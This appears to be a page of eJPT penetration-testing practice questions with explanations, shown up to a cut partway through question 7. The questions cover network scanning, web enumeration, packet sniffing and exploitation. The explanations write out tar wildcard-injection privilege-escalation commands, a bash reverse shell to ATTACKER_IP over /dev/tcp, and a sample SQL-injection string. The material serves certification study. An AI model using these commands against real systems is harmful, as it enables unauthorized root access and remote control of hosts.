Free eJPT Practice Test 2026 — Junior Penetration Tester Practice Questions

Build the fundamentals for the eLearnSecurity Junior Penetration Tester (eJPT v2) with free, beginner-friendly practice questions covering networking, enumeration, basic exploitation, and web attacks. Every question includes a detailed explanation. No signup required.

eJPT v2 Exam at a Glance

How to Prepare for the eJPT

The eJPT is a fully practical, beginner-friendly exam and an ideal first step before the OSCP. Because it is hands-on, these practice questions lock in the fundamentals you will lean on in the lab: networking and protocols, enumeration, basic exploitation, and web application attacks. Score 70% or higher and move on to hands-on labs; miss questions and drill the matching domain banks.

Free eJPT Sample Questions with Answers

Sample Question 1 — Enumeration & Reconnaissance

You are performing an internal network penetration test from a Linux attack box on the 10.10.20.0/24 subnet. The client has explicitly warned that legacy industrial control systems on this VLAN are extremely fragile and must not be impacted by aggressive scanning. You want to identify live hosts and their top services with minimal risk, while also fingerprinting OS and versions where possible. Which of the following Nmap approaches is the MOST appropriate starting point in this situation?

  1. A. Run a fast TCP connect scan with OS detection and default scripts against the entire subnet: nmap -sT -O -sC -T4 10.10.20.0/24
  2. B. Run a ping sweep followed by a targeted SYN scan with version detection and conservative timing: nmap -sn 10.10.20.0/24 nmap -sS -sV --version-intensity 3 -T2 -Pn -F -oA safe_scan 10.10.20.0/24 (Correct answer)
  3. C. Use Masscan to quickly identify all open ports, then feed the results to Nmap for service detection: masscan 10.10.20.0/24 -p1-65535 --rate 100000 -oX masscan.xml nmap -sV -iL <(awk -F '"' '/port/{print $8}' masscan.xml)
  4. D. Skip host discovery and run a full TCP SYN scan with OS detection and all ports on the subnet: nmap -sS -O -p- -T3 -Pn 10.10.20.0/24

Correct answer: B

Explanation: The key constraints are: (1) internal /24 network, (2) fragile ICS systems, (3) need to identify live hosts and top services, (4) minimize risk and noise. Why B is correct: - The workflow in B is cautious and methodical: 1) `nmap -sn 10.10.20.0/24` - `-sn` (ping scan only) discovers live hosts without port scanning. - This is relatively low impact: ICMP echo, ARP, and possibly a few light probes depending on privileges. 2) `nmap -sS -sV --version-intensity 3 -T2 -Pn -F -oA safe_scan 10.10.20.0/24` - `-sS`: SYN scan is less intrusive than full TCP connect (`-sT`) because it doesn’t complete the handshake. - `-sV`: service version detection, but with `--version-intensity 3` (default is 7) to reduce the number of probes and aggressiveness. - `-T2`: conservative timing, fewer parallel probes, more spacing between packets — important for fragile systems. - `-Pn`: skip host discovery for the second phase because you already know which hosts are up; Nmap will treat all targets as online, avoiding extra discovery probes. - `-F`: scan only the top 100 most common ports, which is usually enough to identify major services (HTTP, SMB, RDP, SSH, etc.) while reducing traffic. - `-oA safe_scan`: saves results in all formats for later analysis. - This combination balances information gathering with safety and is consistent with real-world methodology when ICS/fragile systems are involved. Why the others are wrong: A: `nmap -sT -O -sC -T4 10.10.20.0/24` - `-sT`: TCP connect scan completes the full three-way handshake for each port, which is more intrusive and heavier on fragile systems than a SYN scan. - `-O`: OS detection sends multiple crafted probes; on sensitive ICS networks, OS detection can be risky and is often disabled or used only on selected hosts after coordination. - `-sC`: runs the default script set, which includes scripts that can be quite chatty or even state-changing in some edge cases. - `-T4`: aggressive timing, more parallelism and less delay between packets — exactly what you want to avoid on fragile networks. - No separation between discovery and targeted scanning; it hits everything at once. C: Masscan with high rate then Nmap - `masscan 10.10.20.0/24 -p1-65535 --rate 100000` is extremely aggressive. Masscan at 100k packets/second can easily overwhelm fragile devices or network gear. - Full port range (`-p1-65535`) is unnecessary for an initial safe recon; it generates a huge amount of traffic. - Even though feeding Masscan results into Nmap is a valid technique in many tests, the rate and scope here directly conflict with the requirement to avoid impacting ICS. D: `nmap -sS -O -p- -T3 -Pn 10.10.20.0/24` - `-p-`: scans all 65,535 TCP ports on every host — very heavy for a first pass, especially on a sensitive VLAN. - `-O`: OS detection again adds extra probes that may be risky. - `-Pn`: skips host discovery and assumes all 256 IPs are up, causing unnecessary scanning of non-existent hosts and more traffic overall. - While `-sS` and `-T3` are more moderate than some options, this is still far from a "minimal risk" approach. In a real exam or engagement, the approach in B demonstrates awareness of: - Separating host discovery from port scanning. - Using conservative timing and reduced version intensity. - Limiting port scope initially. - Respecting client constraints about fragile systems. Domain: Enumeration & Reconnaissance

Sample Question 2 — Enumeration & Reconnaissance

During an external black-box web application assessment, you discover a login portal at https://app.example.com. A quick Nmap scan shows only ports 80 and 443 open. You want to perform deeper reconnaissance to identify hidden directories, virtual hosts, and potential dev/staging endpoints without causing obvious disruption or triggering basic WAF rules. You have the following constraints: - You must respect robots.txt disallow rules. - You want to avoid noisy, obviously malicious wordlists (e.g., "raft-large-directories.txt" with exploit names). - You suspect there may be additional vhosts like dev.example.com or api.example.com not visible in DNS. Which of the following combined workflows BEST aligns with these goals?

  1. A. Use Gobuster for aggressive directory brute-forcing and then run a full Nikto scan: gobuster dir -u https://app.example.com -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 80 -x php,asp,aspx,js,txt -k nikto -h https://app.example.com
  2. B. Use ffuf for both vhost and directory enumeration with a common, non-malicious wordlist, honoring robots.txt and using a baseline response for filtering: # 1) Virtual host fuzzing ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt:FUZZ \ -u https://app.example.com/ \ -H "Host: FUZZ.example.com" \ -fs 0 -mc 200,301,302 -t 20 # 2) Directory enumeration (respecting robots.txt) ffuf -w /usr/share/seclists/Discovery/Web-Content/common.txt:FUZZ \ -u https://app.example.com/FUZZ \ -fc 404 -mc 200,301,302 -t 20 (Correct answer)
  3. C. Use masscan to identify any hidden ports, then run wfuzz with a large payload list ignoring HTTP status codes: masscan app.example.com -p1-65535 --rate 50000 wfuzz -c -z file,/usr/share/wordlists/dirbuster/directory-list-2.3-big.txt --hc 0 https://app.example.com/FUZZ
  4. D. Use Nmap NSE scripts http-enum and http-vhosts only, with aggressive timing: nmap -p80,443 --script http-enum,http-vhosts -T5 app.example.com

Correct answer: B

Explanation: The scenario focuses on web-focused enumeration and recon with constraints: - Respect robots.txt disallow rules. - Avoid obviously malicious/noisy wordlists. - Enumerate both hidden directories and virtual hosts. - Avoid triggering basic WAF rules and being too noisy. Why B is correct: 1) Virtual host enumeration with ffuf: ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt:FUZZ \ -u https://app.example.com/ \ -H "Host: FUZZ.example.com" \ -fs 0 -mc 200,301,302 -t 20 - `-H "Host: FUZZ.example.com"`: classic vhost fuzzing technique. The DNS A record for app.example.com is used, but the Host header is varied to discover name-based vhosts (e.g., dev.example.com, api.example.com) that resolve to the same IP but aren’t in public DNS. - `-w ...subdomains-top1million-5000.txt`: a relatively common, non-exploit-heavy wordlist focused on subdomains; not full of payloads or exploit strings. - `-mc 200,301,302`: match typical success/redirect codes to identify real vhosts. - `-fs 0`: filter by size (here, ignoring zero-length responses) to reduce noise; in practice, you’d calibrate this based on baseline responses. - `-t 20`: moderate concurrency, not excessively noisy. 2) Directory enumeration with ffuf: ffuf -w /usr/share/seclists/Discovery/Web-Content/common.txt:FUZZ \ -u https://app.example.com/FUZZ \ -fc 404 -mc 200,301,302 -t 20 - `common.txt`: a standard, relatively small and non-malicious wordlist for content discovery. It doesn’t contain obviously exploit-specific paths that might trigger WAFs. - `-fc 404`: filter out 404 responses. - `-mc 200,301,302`: focus on likely valid content or redirects. - `-t 20`: again, moderate concurrency. - Respecting robots.txt: while not explicitly shown in the command, a proper workflow would first manually review `https://app.example.com/robots.txt` and then ensure that disallowed paths are either removed from the wordlist or excluded via ffuf filters. The question is about the *approach* and tools; ffuf plus a curated wordlist is consistent with respecting robots.txt. This combined workflow: - Uses a modern, flexible tool (ffuf) suitable for both vhost and directory fuzzing. - Uses reasonable wordlists and filters to reduce noise. - Aligns with real-world OSCP/PNPT/OSWE-style recon. Why the others are wrong: A: Gobuster + Nikto - `gobuster dir ... directory-list-2.3-medium.txt -t 80 -x php,asp,aspx,js,txt -k` - `directory-list-2.3-medium.txt` is fairly large and can be noisy; not necessarily malicious, but heavier than needed initially. - `-t 80` is quite high concurrency for an external target and more likely to trigger rate-limiting or WAF. - No mention of respecting robots.txt; Gobuster doesn’t do this automatically. - `nikto -h https://app.example.com` - Nikto is very signature-based and noisy; it often triggers WAFs and is not subtle. - It sends many known exploit paths and outdated checks, conflicting with the requirement to avoid obviously malicious wordlists/requests. - Also, this option doesn’t address virtual host enumeration at all. C: Masscan + wfuzz - `masscan app.example.com -p1-65535 --rate 50000` - Very aggressive for an external web app; scanning all 65k ports at 50k packets/sec is noisy and unnecessary when Nmap already showed only 80/443. - Likely to trigger IDS/WAF or upstream provider alerts. - `wfuzz ... directory-list-2.3-big.txt --hc 0` - `directory-list-2.3-big.txt` is extremely large and noisy for an initial recon. - `--hc 0` (hide code 0) effectively doesn’t filter by HTTP status codes; this is the opposite of using a baseline and filtering, and will produce a lot of noise. - No explicit handling of robots.txt. - Again, no vhost enumeration here; only directories. D: Nmap NSE http-enum and http-vhosts with `-T5` - `nmap -p80,443 --script http-enum,http-vhosts -T5 app.example.com` - `http-enum` can be useful but is limited compared to dedicated fuzzers like ffuf/gobuster. - `http-vhosts` can sometimes discover vhosts, but it’s not as flexible as ffuf with a curated wordlist. - `-T5` is very aggressive timing; not ideal for a stealthy external assessment. - Nmap’s HTTP enumeration is not as controllable in terms of respecting robots.txt or avoiding certain paths. - This approach is too coarse and not as effective for deep directory/vhost recon as ffuf with tuned wordlists and filters. In a real exam or engagement, B demonstrates: - Understanding of Host header-based vhost enumeration. - Use of modern fuzzing tools (ffuf) with tuned filters and wordlists. - Awareness of noise/WAF considerations and robots.txt constraints. Domain: Enumeration & Reconnaissance

Sample Question 3 — Linux Privilege Escalation

You have a low-privilege shell as user `webapp` on a Ubuntu 20.04 server. During enumeration, you run `sudo -l` and see: User webapp may run the following commands on app01: (root) NOPASSWD: /usr/bin/tar -czf * `/usr/bin/tar` is the standard GNU tar, not a wrapper script. You confirm with `which tar` and `file /usr/bin/tar`. The current working directory is `/var/www/app/uploads`, which is writable by `webapp`. No other obvious privilege escalation vectors are present. Which of the following is the MOST reliable way to escalate to a root shell given this configuration?

  1. A. Create a malicious `tar` archive containing a SUID-root shell binary and run: `sudo /usr/bin/tar -czf root.tar exploit` to trigger it.
  2. B. Abuse tar's checkpoint action to execute a root shell by running: `sudo /usr/bin/tar -czf backup.tar . --checkpoint=1 --checkpoint-action=exec=/bin/sh`.
  3. C. Exploit wildcard expansion by creating a file named `--checkpoint-action=exec=/bin/sh` and another named `--checkpoint=1`, then running: `sudo /usr/bin/tar -czf backup.tar *`. (Correct answer)
  4. D. Overwrite `/etc/sudoers` by tarring `/etc` with: `sudo /usr/bin/tar -czf /etc/sudoers .` and then editing it as `webapp`.

Correct answer: C

Explanation: The key details: - `webapp` can run `/usr/bin/tar -czf *` as root without a password. - The command is fixed: `tar -czf` followed by `*` (shell wildcard) when invoked via sudo. - The current directory is writable, so `webapp` controls what `*` expands to. - GNU tar supports `--checkpoint` and `--checkpoint-action=exec=...` which can execute commands during archiving. The attack is a classic wildcard / argument injection privilege escalation: 1. As `webapp`, create specially named files in the writable directory: ```bash cd /var/www/app/uploads touch "--checkpoint=1" touch "--checkpoint-action=exec=/bin/sh" ``` 2. When you run the allowed sudo command: ```bash sudo /usr/bin/tar -czf backup.tar * ``` the shell expands `*` to all filenames in the directory. Because the filenames start with `--`, tar interprets them as options, not as regular files. 3. Effective command line seen by tar becomes: ```bash /usr/bin/tar -czf backup.tar . --checkpoint=1 --checkpoint-action=exec=/bin/sh ``` (plus other files), executed as root. 4. When tar hits the checkpoint, it executes `/bin/sh` as root, giving you a root shell. This is exactly what option C describes. Why the other options are wrong: A) "Create a malicious `tar` archive containing a SUID-root shell binary and run: `sudo /usr/bin/tar -czf root.tar exploit` to trigger it." - `tar -czf` **creates** a compressed archive; it does not extract or execute anything. - Even if `exploit` were a SUID binary, simply archiving it does not change its permissions or run it. - There is no mechanism here that would cause the SUID bit to be set or the binary to be executed as root. - This misunderstands what `-czf` does (create, gzip, file), so it does not provide privilege escalation. B) "Abuse tar's checkpoint action to execute a root shell by running: `sudo /usr/bin/tar -czf backup.tar . --checkpoint=1 --checkpoint-action=exec=/bin/sh`." - This would work **if** you could control the entire command line, but you cannot. - The sudo rule is explicitly `NOPASSWD: /usr/bin/tar -czf *` — you are not allowed to append arbitrary options after `*` when invoking via sudoers; the admin has locked the command pattern. - Running `sudo /usr/bin/tar -czf backup.tar . --checkpoint=1 ...` would not match the sudoers rule and would be denied. - The only controllable part is what `*` expands to, which is why the wildcard injection in C is required. D) "Overwrite `/etc/sudoers` by tarring `/etc` with: `sudo /usr/bin/tar -czf /etc/sudoers .` and then editing it as `webapp`." - `tar -czf /etc/sudoers .` creates a **compressed tar archive** at `/etc/sudoers`. - That would corrupt `/etc/sudoers` and likely break sudo entirely, but it does not give you controlled privilege escalation. - Also, you still cannot edit `/etc/sudoers` as `webapp` because file permissions on `/etc/sudoers` are root-owned and restrictive; overwriting it with a tarball doesn't change your user permissions. - This is destructive and unreliable, not a valid privesc path. Therefore, the correct and realistic privilege escalation technique is to exploit wildcard expansion to inject tar's `--checkpoint` and `--checkpoint-action` options, as in option C.

Sample Question 4 — Linux Privilege Escalation

During an internal penetration test, you obtain a shell as user `dev` on a Debian 11 host. While enumerating for privilege escalation, you find the following in `/etc/crontab`: ```bash * * * * * root /usr/local/bin/backup.sh ``` You inspect the script: ```bash #!/bin/bash SRC_DIR="/home/dev/app" DEST="/backups/app-$(date +%F).tar.gz" cd "$SRC_DIR" || exit 1 tar -czf "$DEST" * ``` Permissions: ```bash $ ls -l /usr/local/bin/backup.sh -rwxr-xr-x 1 root root 214 Jan 5 10:12 /usr/local/bin/backup.sh $ ls -ld /home/dev/app drwxrwxr-x 2 dev dev 4096 Jan 5 10:15 /home/dev/app ``` `/backups` exists and is writable only by root. You cannot edit `/usr/local/bin/backup.sh`, but you fully control `/home/dev/app`. Which approach provides the MOST reliable path to a root shell in this scenario?

  1. A. Create a SUID-root copy of `/bin/bash` inside `/home/dev/app` and wait for the cron job to archive it, then execute it as `dev`.
  2. B. Create files named `--checkpoint=1` and `--checkpoint-action=exec=/bin/bash` in `/home/dev/app` and wait for the cron job to run. (Correct answer)
  3. C. Replace `/usr/bin/tar` with a malicious script that spawns a root shell, since the cron job runs as root and calls `tar`.
  4. D. Create a symlink `/home/dev/app/backup.sh` pointing to `/etc/shadow` so that the cron job overwrites it with the tar archive.

Correct answer: B

Explanation: The cron job runs as root every minute and executes: ```bash cd "$SRC_DIR" || exit 1 tar -czf "$DEST" * ``` with `SRC_DIR=/home/dev/app` and `DEST=/backups/app-<date>.tar.gz`. Critical observations: - The script is root-owned and not writable by `dev`. - `/home/dev/app` is writable by `dev` and is the working directory for tar. - The command uses `*` (shell wildcard) as the list of files to archive. - GNU tar supports `--checkpoint` and `--checkpoint-action=exec=...` which can execute commands. Because the cron job is executed by `/bin/sh` (or bash) as root, the `*` expands to all filenames in `/home/dev/app`. If you create files whose names start with `--`, tar will treat them as options, not as regular files. This is the same wildcard / argument injection technique as in many modern Linux privesc paths. As `dev`, you can do: ```bash cd /home/dev/app # Ensure directory is otherwise empty or harmless rm -f * 2>/dev/null touch "--checkpoint=1" # Use -p to preserve effective UID (root) when spawning bash # or simply /bin/bash -p if available printf '#!/bin/bash /bin/bash -p ' > shell.sh chmod +x shell.sh touch "--checkpoint-action=exec=/home/dev/app/shell.sh" ``` When cron runs: ```bash cd /home/dev/app /usr/bin/tar -czf /backups/app-<date>.tar.gz * ``` `*` expands to: ```bash --checkpoint=1 --checkpoint-action=exec=/home/dev/app/shell.sh shell.sh ``` Tar interprets these as options and, at the first checkpoint, executes `/home/dev/app/shell.sh` **as root**, giving you a root shell (e.g., via a reverse shell or by dropping a SUID binary). This is exactly what option B describes. Why the other options are wrong: A) "Create a SUID-root copy of `/bin/bash` inside `/home/dev/app` and wait for the cron job to archive it, then execute it as `dev`." - The cron job only **reads** from `/home/dev/app` and writes an archive to `/backups`. - It does not change permissions or ownership of files in `/home/dev/app`. - Creating a SUID-root `bash` requires root privileges to set the SUID bit on a root-owned file: ```bash cp /bin/bash /tmp/rootbash chmod u+s /tmp/rootbash ``` As `dev`, you cannot set SUID on a file you own to escalate to root; Linux ignores SUID on non-root-owned binaries for privilege escalation. - Archiving the file does nothing to its permissions, and you already own it, so executing it will still run as `dev`. C) "Replace `/usr/bin/tar` with a malicious script that spawns a root shell, since the cron job runs as root and calls `tar`." - `/usr/bin/tar` is owned by root and not writable by `dev` on a properly configured system. - You have no indication that `/usr/bin` is writable or that PATH hijacking is possible here. - Even if you could write to `/usr/bin`, replacing system binaries is noisy and unrealistic in a hardened environment and would typically require root already. - The scenario explicitly gives you control only over `/home/dev/app`, not system binaries. D) "Create a symlink `/home/dev/app/backup.sh` pointing to `/etc/shadow` so that the cron job overwrites it with the tar archive." - The cron job writes to `$DEST` which is `/backups/app-<date>.tar.gz`, not to any file under `/home/dev/app`. - The `*` in `tar -czf "$DEST" *` is the **source** list, not the destination. Tar reads from `/home/dev/app/*` and writes to `/backups/...`. - Creating a symlink in `/home/dev/app` pointing to `/etc/shadow` would only affect how tar reads that file (if at all), not where it writes. - Tar does not overwrite `/etc/shadow` in this command; it only includes its contents in the archive. Therefore, the most reliable and realistic privilege escalation path is to abuse tar's `--checkpoint` and `--checkpoint-action` via wildcard expansion in the cron-executed script, as described in option B.

Sample Question 5 — Networking & Protocol Fundamentals

You are performing an internal penetration test and have gained access to a Linux jump host on the 10.10.20.0/24 network. You suspect there is a misconfigured legacy application server that still accepts cleartext credentials. You capture traffic with tcpdump using: tcpdump -i eth0 -nn -s0 -A 'tcp port 21 or tcp port 23 or tcp port 80' After a few minutes, you see the following packets (sanitized): 12:01:14.123456 IP 10.10.20.45.49832 > 10.10.20.60.21: Flags [P.], seq 1:23, ack 1, win 229, length 22 E..@..@.@...........5...P..P....USER alice 12:01:14.223456 IP 10.10.20.45.49832 > 10.10.20.60.21: Flags [P.], seq 23:47, ack 1, win 229, length 24 E..@..@.@...........5...P..P....PASS Spring2025! 12:01:15.123456 IP 10.10.20.45.49834 > 10.10.20.60.80: Flags [P.], seq 1:120, ack 1, win 229, length 119 E..@..@.@...........5...P..P....POST /login HTTP/1.1 Host: legacy-app.local Content-Type: application/x-www-form-urlencoded Content-Length: 27 username=bob&password=test Which statement best explains the networking/protocol misconfiguration you should highlight in your report and how it impacts your attack strategy?

  1. A. The FTP service on 10.10.20.60 is using active mode instead of passive mode, which allows you to sniff credentials; you should recommend switching to passive FTP to fix this.
  2. B. The FTP service on 10.10.20.60 is running over cleartext TCP (port 21) without TLS, exposing credentials in transit; you can directly reuse the sniffed USER/PASS pair to authenticate to the FTP server. (Correct answer)
  3. C. The HTTP POST request to /login indicates that the web application is vulnerable to SQL injection because credentials are sent in the body; you should immediately attempt SQLi on the username parameter.
  4. D. The Telnet service on 10.10.20.60 is leaking credentials because it runs on port 21; you should brute-force Telnet using the captured password to gain shell access.

Correct answer: B

Explanation: The tcpdump output shows cleartext application-layer protocols and highlights a classic but still common misconfiguration: lack of encryption on sensitive services. Why B is correct: - The traffic is going to destination port 21 on 10.10.20.60, which is the standard port for FTP (not Telnet, not SSH). - The payload clearly shows FTP commands: - `USER alice\r\n` - `PASS Spring2025!\r\n` - FTP (RFC 959) is a cleartext protocol when used as plain FTP over TCP/21. Without explicit FTPS (AUTH TLS) or implicit FTPS (TCP/990), credentials and data are transmitted unencrypted. - Because you are on the same broadcast domain (10.10.20.0/24) and can sniff traffic, you can immediately reuse these credentials: - Example: - `ftp 10.10.20.60` - `Name (10.10.20.60:attacker): alice` - `Password: Spring2025!` - From an offensive perspective, this is a straightforward attack path: network-level sniffing → credential capture → direct service authentication → potential file exfiltration or planting web shells if the FTP root maps to a web directory. - From a reporting perspective, the misconfiguration is: "FTP service exposed internally without encryption (no FTPS/SFTP), allowing credential interception via passive sniffing on the local segment." Why A is wrong: - Active vs passive FTP relates to how the data channel is established (server vs client initiated) and firewall traversal, not whether credentials are encrypted. - Both active and passive FTP send `USER` and `PASS` in cleartext unless wrapped in TLS. - Switching to passive mode alone does not fix credential exposure; encryption (FTPS/SFTP or SSH-based alternatives) is required. Why C is wrong: - The HTTP POST to `/login` over port 80 is indeed cleartext, but the question asks for the *best* explanation of the misconfiguration and its impact on your attack strategy. - While HTTP over port 80 without TLS is also a misconfiguration for sensitive logins, the FTP example is more clearly exploitable immediately with known-good credentials (`alice` / `Spring2025!`). - The presence of credentials in a POST body does *not* by itself indicate SQL injection; that’s an application-layer vulnerability requiring further testing (e.g., Burp Repeater/Intruder with payloads like `' OR 1=1-- -`). - The question is about networking & protocol fundamentals, not web app logic flaws. Why D is wrong: - Telnet typically runs on TCP/23, not 21. The tcpdump filter includes `tcp port 23`, but the shown packets are clearly to port 21 (FTP) and 80 (HTTP). - The payload shows FTP commands (`USER`, `PASS`), not Telnet negotiation sequences (IAC, DO, DONT, WILL, WONT). - You cannot assume a Telnet service is running on port 21; that would be a non-standard and unjustified assumption. Key networking/protocol takeaways: - Port numbers and payloads must be correlated: port 21 + `USER/PASS` → FTP; port 80 + HTTP headers → HTTP. - Cleartext protocols (FTP, Telnet, HTTP) on flat internal networks are still highly exploitable via passive sniffing. - Proper remediation is to enforce encrypted protocols (FTPS/SFTP/SSH/HTTPS) and segment or monitor sensitive traffic, not just change modes or ports.

Sample Question 6 — Networking & Protocol Fundamentals

During an external black-box assessment, you run an initial scan with Masscan and follow up with Nmap for service enumeration: masscan 203.0.113.50 -p0-65535 --rate 5000 -e tun0 --wait 5 # Output (sanitized): Discovered open port 22/tcp on 203.0.113.50 Discovered open port 80/tcp on 203.0.113.50 Discovered open port 443/tcp on 203.0.113.50 You then run: nmap -sS -sV -Pn -p22,80,443 203.0.113.50 Nmap output (sanitized): PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.3 (Ubuntu Linux; protocol 2.0) 80/tcp open http nginx 1.18.0 (Ubuntu) 443/tcp open ssl/http nginx 1.18.0 (Ubuntu) You capture a few packets with tcpdump while browsing https://203.0.113.50/: tcpdump -i tun0 -nn -s0 -X 'host 203.0.113.50 and port 443' 13:22:10.123456 IP 198.51.100.10.51524 > 203.0.113.50.443: Flags [S], seq 123456789, win 64240, options [mss 1460,sackOK,TS val 123 ecr 0,nop,wscale 7], length 0 13:22:10.123789 IP 203.0.113.50.443 > 198.51.100.10.51524: Flags [S.], seq 987654321, ack 123456790, win 65160, options [mss 1460,sackOK,TS val 456 ecr 123,nop,wscale 7], length 0 13:22:10.124000 IP 198.51.100.10.51524 > 203.0.113.50.443: Flags [.], ack 1, win 502, options [TS val 124 ecr 456], length 0 13:22:10.125000 IP 198.51.100.10.51524 > 203.0.113.50.443: Flags [P.], seq 1:518, ack 1, win 502, length 517 0000 16 03 01 02 00 01 00 01 fc 03 03 ... (ClientHello) Which of the following next steps best leverages your understanding of networking and protocol behavior to move toward an actual exploit path against this host?

  1. A. Run `nmap -sS -O 203.0.113.50` to fingerprint the OS and immediately attempt a generic TCP/IP stack-based remote code execution exploit against the kernel.
  2. B. Use `nmap --script ssl-enum-ciphers,ssl-cert -p443 203.0.113.50` to enumerate TLS configuration and certificate details, then assess for weak ciphers, protocol downgrades, or misissued certificates that could enable MITM or session decryption. (Correct answer)
  3. C. Run `nmap -sU -p53,123,161 203.0.113.50` because the presence of HTTPS on port 443 implies that DNS, NTP, and SNMP must also be open and vulnerable on the same host.
  4. D. Use `nmap -sV --version-light -p22 203.0.113.50` to confirm the SSH version, then immediately brute-force SSH with `hydra` because OpenSSH 8.9p1 is known to be trivially exploitable via default credentials.

Correct answer: B

Explanation: The scenario shows you have identified standard services (SSH, HTTP, HTTPS) and observed a normal TCP three-way handshake followed by a TLS ClientHello on port 443. The question asks which next step best uses protocol understanding to move toward a realistic exploit path. Why B is correct: - The tcpdump output shows TLS negotiation on port 443 (`16 03 01` → TLS record, version 1.x; ClientHello). - Modern external assessments often pivot from basic port discovery to *TLS configuration analysis* because misconfigurations can lead to: - Weak cipher suites (e.g., export-grade, NULL, RC4) → potential cryptographic attacks. - Support for deprecated protocols (SSLv3, TLS 1.0/1.1) → downgrade attacks. - Misissued or self-signed certificates → easier MITM in some threat models. - The Nmap NSE scripts `ssl-enum-ciphers` and `ssl-cert` are specifically designed for this: - `nmap --script ssl-enum-ciphers,ssl-cert -p443 203.0.113.50` - `ssl-enum-ciphers` enumerates supported protocols (TLS1.0–1.3), key exchange, ciphers, MACs, and reports known weaknesses. - `ssl-cert` extracts certificate details (CN, SANs, validity, key length, issuer), which can reveal: - Internal hostnames for further recon. - Weak key sizes or outdated signature algorithms. - From an offensive perspective, this can lead to: - Targeted downgrade attempts. - Exploiting legacy endpoints or virtual hosts discovered via certificate SANs. - Better positioning for credential interception or session hijacking in certain environments. - This step directly leverages protocol-level understanding (TCP handshake, TLS negotiation, cipher suites) and is realistic for 2024–2025 pentests. Why A is wrong: - `nmap -sS -O` (SYN scan + OS detection) is useful, but: - OS detection alone rarely yields an immediate, generic "TCP/IP stack RCE" in modern kernels. - Modern Linux/Ubuntu kernels behind a public-facing nginx are unlikely to have a trivial remote kernel exploit exposed directly on 22/80/443. - This option implies an unrealistic expectation: that OS fingerprinting directly leads to a generic TCP/IP stack RCE, which is not how modern external pentests typically progress. Why C is wrong: - There is no protocol-level implication that having HTTPS (443/tcp) means DNS (53/udp), NTP (123/udp), or SNMP (161/udp) must be open on the same host. - While scanning common UDP services can be useful, the reasoning given is flawed: service presence on one port does not logically require others. - Also, the question is about leveraging the *observed* protocol behavior (TCP handshake + TLS ClientHello), which this option ignores. Why D is wrong: - `nmap -sV --version-light -p22` is redundant: you already have the SSH version from the previous `-sV` scan (`OpenSSH 8.9p1 Ubuntu 3ubuntu0.3`). - OpenSSH 8.9p1 is a modern version; there is no widely known trivial RCE or default-credential issue inherent to that version. - Brute-forcing SSH is sometimes part of an engagement, but: - It is noisy and often against rules of engagement unless explicitly allowed. - It does not leverage any *protocol misconfiguration* or subtle behavior; it’s just credential guessing. - The claim that OpenSSH 8.9p1 is "known to be trivially exploitable via default credentials" is false; SSH does not ship with default logins by design. Key networking/protocol takeaways: - After identifying HTTPS, a protocol-aware next step is to analyze TLS configuration, not to assume unrelated services. - Nmap NSE scripts like `ssl-enum-ciphers` and `ssl-cert` are core tools for protocol-level recon on 443/tcp. - Understanding the TCP handshake and TLS ClientHello helps you interpret captures and choose meaningful follow-up enumeration rather than random or unrealistic exploit attempts.

Sample Question 7 — Vulnerability Analysis & Exploitation

You are testing an internal web application running on http://intranet.local:8080. A directory brute-force reveals an admin panel: /admin/login.php When you access it, you see a simple login form. You intercept the request in Burp and send it to Repeater. A failed login attempt looks like this: POST /admin/login.php HTTP/1.1 Host: intranet.local:8080 Content-Type: application/x-www-form-urlencoded username=admin&password=test123 Response: HTTP/1.1 200 OK Set-Cookie: PHPSESSID=6t4k3p3q1v4l9s1u9o3m2f7h2; Content-Type: text/html; charset=UTF-8 Invalid credentials You run sqlmap with the following command: sqlmap -u "http://intranet.local:8080/admin/login.php" \ --data "username=admin&password=test123" \ -p username --level 5 --risk 3 --batch sqlmap reports: [INFO] POST parameter 'username' appears to be 'MySQL >= 5.0 AND error-based' injectable [INFO] the back-end DBMS is MySQL You want to obtain a stable interactive shell on the target host. The web server is Linux-based, and you have confirmed that outbound connections to your attacking machine on TCP/443 are allowed. Which of the following is the most appropriate next step to reliably gain a shell using sqlmap’s capabilities?

  1. A. Use sqlmap with the `--os-shell` option and specify a TCP bind shell payload on port 4444, then connect to it from your machine using `nc intranet.local 4444`.
  2. B. Use sqlmap with `--os-shell` and `--os-pwn` together, letting sqlmap automatically upload a Meterpreter reverse HTTPS payload to connect back to your handler on port 443.
  3. C. Use sqlmap with `--os-pwn` and configure a Metasploit multi/handler for `windows/meterpreter/reverse_tcp` on port 443, then let sqlmap handle the payload delivery.
  4. D. Use sqlmap with `--os-shell` to get an interactive command shell over HTTP, then manually issue a bash one-liner reverse shell to your listener on port 443 for a more stable session. (Correct answer)

Correct answer: D

Explanation: The scenario: you have confirmed a POST parameter `username` is error-based injectable on a Linux web server with MySQL backend. Outbound connections to your attacking machine on TCP/443 are allowed. The goal is a stable interactive shell using sqlmap’s capabilities. Correct answer: D Reasoning: 1. sqlmap’s `--os-shell` option, when supported, gives you an interactive pseudo-shell over HTTP by leveraging the SQL injection to execute OS commands. This is often slow and limited, but it’s enough to run a one-liner reverse shell. 2. Since outbound connections to your attacking machine on TCP/443 are allowed, the most reliable approach is to: - Start a listener on your machine, e.g.: - `nc -lvnp 443` (traditional netcat) - or `rlwrap nc -lvnp 443` for a better TTY experience. - Use `sqlmap --os-shell` to get command execution, then run a reverse shell one-liner such as: - `bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/443 0>&1'` - Once the reverse shell connects, you can stabilize it (e.g. Python pty, stty, etc.). 3. This chain uses sqlmap’s built-in OS command execution to bootstrap a more stable, direct TCP shell, which is a common real-world technique. Why the other options are wrong: A) "Use sqlmap with the `--os-shell` option and specify a TCP bind shell payload on port 4444, then connect to it from your machine using `nc intranet.local 4444`." - Issues: - `--os-shell` does not let you directly "specify a TCP bind shell payload"; it gives you an interactive command execution interface over HTTP. - A bind shell on the target (listening on 4444) may be blocked by internal firewalls or host-based controls, especially in enterprise environments. The scenario explicitly states outbound 443 is allowed, which favors a reverse shell, not a bind shell. - This answer mixes concepts and overstates what `--os-shell` can configure automatically. B) "Use sqlmap with `--os-shell` and `--os-pwn` together, letting sqlmap automatically upload a Meterpreter reverse HTTPS payload to connect back to your handler on port 443." - Issues: - `--os-shell` and `--os-pwn` are mutually exclusive in practice; `--os-pwn` is for automated exploitation (e.g., Metasploit integration), while `--os-shell` is for interactive 